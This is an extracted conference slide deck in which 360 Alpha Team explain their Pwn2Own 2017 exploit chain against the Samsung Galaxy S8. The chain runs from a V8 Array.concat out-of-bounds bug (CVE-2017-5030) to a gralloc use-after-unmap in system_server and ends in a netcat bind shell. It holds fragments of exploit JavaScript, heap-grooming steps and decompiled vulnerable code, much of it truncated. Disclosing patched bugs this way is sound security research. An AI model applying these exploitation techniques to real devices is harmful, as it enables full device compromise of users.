42
Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Jianjun Dai(@Jioun_dai) Guang Gong(@oldfresher) @360 Alpha Team

Attacks and analysis of the Samsung S8 from Mobile PWN2OWN and... · Title: Microsoft PowerPoint - Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Author: Administrator

  • Upload
    others

  • View
    19

  • Download
    1

Embed Size (px)

Citation preview

  • Attacks and analysis of the Samsung S8 from Mobile PWN2OWN

    Jianjun Dai(@Jioun_dai)Guang Gong(@oldfresher)@360 Alpha Team

  • About Us

    • Alpha Team @360 Security• 100+ Android vulnerabilities(Google Qualcomm etc)• Won the highest reward in the history of the ASR

    program.• 5 Pwn contest winner

    – Pwn2Own Mobile 2015( Nexus 6) – Pwn0Rama 2016 (Nexus 6p)– Pwn2Own 2016(Chrome)– PwnFest 2016(Pixel)– Pwn2Own Mobile 2017(Galaxy S8)

  • How we pwned Samsung Galaxy S8 running Android Nougat

    Two bugs forms the complete exploit chain• One V8 bug to compromise the renderer• One system_server bug to escape sandbox and

    allows app install

  • Agenda

    • Exploitation of V8 engine• Introduction a way to escape sandbox• Exploitation of System_server• Conclusion

  • Exploitation of V8 engine

    • Introduction Samsung Internet Browser• Introduction and analyze the Chain of Bugs #1

    - CVE-2017-5030• Exploit CVE-2017-5030

  • Samsung Internet Browser

    • Built-in browser for Samsung Galaxy S8• Based on Chromium source• Hereinafter Sbrowser

  • CVE-2017-5030 – Chain of Bugs #1

    • Nday, first reported by Brendon Tiszka• Found by us with 360 Android vul scanner• Incredible, V8 in Sbrowser is not latest, even the

    day of contest

  • 360 VulScanner

    http://shouji.360.cn/vulscanner.html

  • CVE-2017-5030 – Chain of Bugs #1

    • Array OOB Access Bug in V8 Array.concat• in Function IterateElements

  • Vulnerable Code

    switch (array->GetElementsKind()) {case FAST_SMI_ELEMENTS:case FAST_ELEMENTS:case FAST_HOLEY_SMI_ELEMENTS:case FAST_HOLEY_ELEMENTS: {// Run through the elements FixedArray and use HasElement and GetElement// to check the prototype for missing elements.Handle elements(FixedArray::cast(array->elements()));int fast_length = static_cast(length);DCHECK(fast_length length());FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {Handle element_value(elements->get(j), isolate); //-----> OOB Accessif (!element_value->IsTheHole()) {

    if (!visitor->visit(j, element_value)) return false;} else {

    Maybe maybe = JSReceiver::HasElement(array, j);if (!maybe.IsJust()) return false;if (maybe.FromJust()) {

    // Call GetElement on array, not its prototype, or getters won't// have the correct receiver.ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, element_value,JSReceiver::GetElement(isolate, array, j), false);if (!visitor->visit(j, element_value)) return false;} //-----> trigger callback

    }});break;

    }

  • Trigger itFunction gc(){

    var arr = new Array;for(var i=0;i

  • Patch for CVE-2017-5030

  • Exploit CVE-2017-5030

    • Control the OOB Memory• Leak Fake ArrayBuffer• Arbitrary Memory R/W• Execute Shellcode

  • Control the OOB Memory

    function evil_callback(){evil_callback.myarr.length=1;if(evil_callback.phase==0){

    global[0]=new ArrayBuffer(magic_size);global[0][0]={};for(var i=1;i

  • Control the OOB Memory

  • Control the OOB Memory

  • Leak Faked ArrayBuffer

    function evil_callback(){evil_callback.myarr.length=1;if(evil_callback.phase==0){

    …}else if(evil_callback.phase==1){

    //heap fengshuiglobal[0]=magic_arr.push(evil_callback.backingstore)

    ……scavenge();return 0.1;

    }

    • Triggered again• Concat function wrongly treat it as an object and

    returns it in the result array

  • Leak Faked ArrayBuffer

  • Arbitrary Memory R/W

    • Construct ArrayBuffer in controlled double array• Modify ArrayBuffer’s backing_store to any address

    in double array • Read and Write in ArrayBuffer->backing_store

    ArrayBuffer map propeties elements bytelength backing_store …

  • Execute Shellcode

    var huge_str = "eval('');";for(var i=0;i

  • Escape Sandbox

    • Possible Ways for Escaping

    • Binder call with Parcelable Object

  • Possible Ways for Escaping

    • Browser IPC ------ difficult, magical vul need• System Services(Binder Call)

    • Serializable (CVE-2015-3825, etc)• Parcelable

    • Kernel(System Call) ------- difficult, especially Project Treble

  • Binder call with Parcelable Object

    • Restriction of SeLinux imposed on Browser

    • An ingenious way to bypass

  • Restriction of SeLinux imposed on Browser

    • Browser Processes

    • Isolated_app Domain

    allow isolated_app activity_service:service_manager find;allow isolated_app display_service:service_manager find;allow isolated_app webviewupdate_service:service_manager find;

    neverallow isolated_app {service_manager_type-activity_service-display_service-webviewupdate_service

    }:service_manager find;

    system/sepolicy /isolated_app.te

  • Restriction of SeLinux imposed on Browser

    • Getting System ServicesActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

    Get System Services in the Domain isolated_app Retuened resultgetSystemService(LOCATION_SERVICE) nullgetSystemService(...) nullgetSystemService(ACTIVITY_SERVICE) ActivityManagergetSystemService(DISPLAY_SERVICE) DisplayManager

    A few services like activity_service can be got in sbrowser sandboxed process

  • Restriction of SeLinux imposed on Browserpublic final int startActivity(IApplicationThread caller, String callingPackage,Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode,int startFlags, ProfilerInfo profilerInfo, Bundle bOptions) {

    return startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo,resultWho, requestCode, startFlags, profilerInfo, bOptions,UserHandle.getCallingUserId());

    }

    public final int startActivityAsUser(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions, int userId){

    enforceNotIsolatedCaller("startActivity");userId = mUserController.handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId, false, ALLOW_FULL_ONLY, "startActivity", null);

    // TODO: Switch to user app stacks here.return mActivityStarter.startActivityMayWait(caller, -1, callingPackage, intent,

    resolvedType, null, null, resultTo, resultWho, requestCode, startFlags,profilerInfo, null, null, bOptions, false, userId, null, null);

    }

    void enforceNotIsolatedCaller(String caller) {if (UserHandle.isIsolated(Binder.getCallingUid())) {

    throw new SecurityException("Isolated process not allowed to call " + caller);}

    }

  • An ingenious way

    About 600 classes implement the interface Parcelable, the member methodcreateFromParcel of all these classes can be called from sbrowser’s sandbox using binder call

    public interface Parcelable {…public void writeToParcel(Parcel dest, intflags);public interface Creator {public T createFromParcel(Parcel source);public T[] newArray(int size);…}

  • An ingenious way

    A way to reach system_server without calling function enforceNotIsolatedCaller was found in ActivityManagerNative. onTransact, that is remote transact by Binder call case CONVERT_TO_TRANSLUCENT_TRANSACTION: {

    data.enforceInterface(IActivityManager.descriptor);IBinder token = data.readStrongBinder();final Bundle bundle;if (data.readInt() == 0) {

    bundle = null;} else {

    bundle = data.readBundle();}final ActivityOptions options = ActivityOptions.fromBundle(bundle);boolean converted = convertToTranslucent(token, options);reply.writeNoException();reply.writeInt(converted ? 1 : 0);return true;

    }

  • An ingenious waypublic static ActivityOptions fromBundle(Bundle bOptions) {

    return bOptions != null ? new ActivityOptions(bOptions) : null;}

    public ActivityOptions(Bundle opts) {opts.setDefusable(true);mPackageName = opts.getString(KEY_PACKAGE_NAME);try {

    mUsageTimeReport = opts.getParcelable(KEY_USAGE_TIME_REPORT);} catch (RuntimeException e) {

    Slog.w(TAG, e);}mLaunchBounds = opts.getParcelable(KEY_LAUNCH_BOUNDS);mAnimationType = opts.getInt(KEY_ANIM_TYPE);switch (mAnimationType) {

    public final class Bundle extends BaseBundle implements Cloneable, Parcelable {…public void putParcelable(@Nullable String key, @Nullable Parcelable value) {…}public void putSerializable(@Nullable String key, @Nullable Serializable value) {…}…public T getParcelable(@Nullable String key) {…}public Serializable getSerializable(@Nullable String key) {…}…

  • Exploitation of System_Server

    • Analyze the bug, Chain of Bugs #2

    • Exploit the bug

  • Analyze the bug

    Vulnerable

  • Analyze the bug

    A Use-After-Unmap in grallocMap(…) of gralloc.exynos5.so

  • Analyze the bug__int64 __fastcall grallocMap(__int64 a1, private_handle_t *privhandle){

    private_handle_t *privhandle_1; // [email protected]_1 = privhandle;v3 = a1;if ( privhandle->flags & 0x8004000 ) { //------------> please note, the following threeaddress will not be

    cleared if the flags are set carefully.privhandle->base1 = 0LL;privhandle->base2 = 0LL;privhandle->base = 0LL;

    }...v17 =mmap(0LL,(signed int)privhandle_1->size1, 3LL, 1LL,(unsigned int)privhandle_1->fd, 0LL);if ( v17 == -1 ){ ......}else{

    …fd1 = *(_QWORD *)&privhandle_1->fd1;if ( fd1 & 0x80000000 ){

    tmp = (fd1 >> 32) & 0xFFFFFFFF;…

    }…if ( tmp & 0x80000000 ){

    result = 0LL;}else if ( privhandle_1->format == 0x121 ) { //---------->by setting

    privhandle_1->format to 0x121 the function will be returned successfully, left privhandle_1->base2 unmodified, still controllable by sandboxed browser process.

    result = 0LL;}else{

    privhandle_1->base2 = (void *)mmap(0LL, length, 3LL, 1LL, tmp, 0LL);...

    } }

    return result;}

  • Analyze the bugint __fastcall grallocUnmap(private_handle_t *phandle){

    private_handle_t *handle; // x19@1…handle = phandle;v2 = *(_QWORD *)&phandle->format;length = 0LL;if ( (signed int)v2 stride / 2 + 7) & 0xFFFFFFF8) * (signed __int64)(signed int)phandle->heigth + 256;

    LODWORD(v4) = munmap(phandle->base2, 0x40uLL); //-------------> we can unmap any page by this line...handle->base2 = 0LL;break;

    case 0x125:...default:

    break;}

    }v10 = handle->base;if ( v10 ){

    LODWORD(v10) = munmap(v10, (signed int)handle->size1);...

    }return (signed int)v10;

    }

  • Analyze the bug

    To trigger the aforementioned Use-After-Unmap bug

  • Exploit the bug

    • Introduce some object structure in System_Server

    • Control virtual function pointer• Netcat bind shell

  • Object Structure in System_Serverpublic class GraphicBuffer implements Parcelable {

    …public GraphicBuffer createFromParcel(Parcel in) {…}

    }Binder Call Renderer Process

    class RefBase{public:void incStrong(const void* id) const;void decStrong(const void* id) const;void forceIncStrong(const void* id) const;...virtual void onFirstRef();virtual void onLastStrongRef(const void* id); //--->to be controlledvirtual bool onIncStrongAttempted(uint32_t flags, const void* id);virtual void onLastWeakRef(const void* id); ...};

    class GraphicBuffer: public ANativeObjectBase< ANativeWindowBuffer, GraphicBuffer, RefBase >,

    public Flattenable

    Inherit

  • Control Virtual Function Pointer

    Bundle

    GraphicBuffer

    gadget gadget …

    System_server• onLastStrongRef

    memory1 Function code

    System_server• onLastStrongRef

    memory2 Shellcode

    Parse Bundle

  • Netcat bind shell

    system_server.te

    dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicy | grep system_server | grep exec[AV] 2246: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 2447: ALLOW system_server-->gpu_device (chr_file) [append execute write ioctl getattr read lock open][AV] 3037: ALLOW system_server-->dalvikcache_data_file (file) [execute][AV] 3726: ALLOW system_server-->shell_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 4187: ALLOW system_server-->dumpsys_exec (file) [execute execute_no_trans][AV] 5141: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open]

    130|dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicypixel | grep system_server | grep exec[AV] 660: ALLOW system_server-->system_file (file) [execute getattr execute_no_trans][AV] 1814: ALLOW system_server-->zygote_exec (file) [ioctl getattr read lock open][AV] 2493: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 4023: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 6263: ALLOW system_server-->dalvikcache_data_file (file) [execute]dreamqltesq:/data/local/tmp # supolicy --dumpav sep | grep system_server | grep exec

    Pixel sepolicy of system_server

    Galaxy s8 sepolicy of system_server

    • Weakness SeLinux Policy

    neverallow system_server self:process execmem;

    avoidlots ofROPs

  • Netcat bind shell

    • Execute system

    uid=1000(system) gid=1000(system)groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1032(package_info),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock)context=u:r:system_server:s0

  • • Start with a V8 OOB Access bug, by info leak and fake ArrayBuffer object, get Arbitrary Memory R/W, and gain control of renderer process in Samsung browser

    • Use an Use-After-Unmap system_server vulnerability to escape sandbox. Sending bundle objects to system_server which are controlled by renderer process, and gain code execute in system server.

    • Samsung browser should keep all the other components updated to the latest, such as V8 engine

    • The sepolicy of system_server in S8 need to be strengthened

    Conclusion

  • Thanks

    Q & A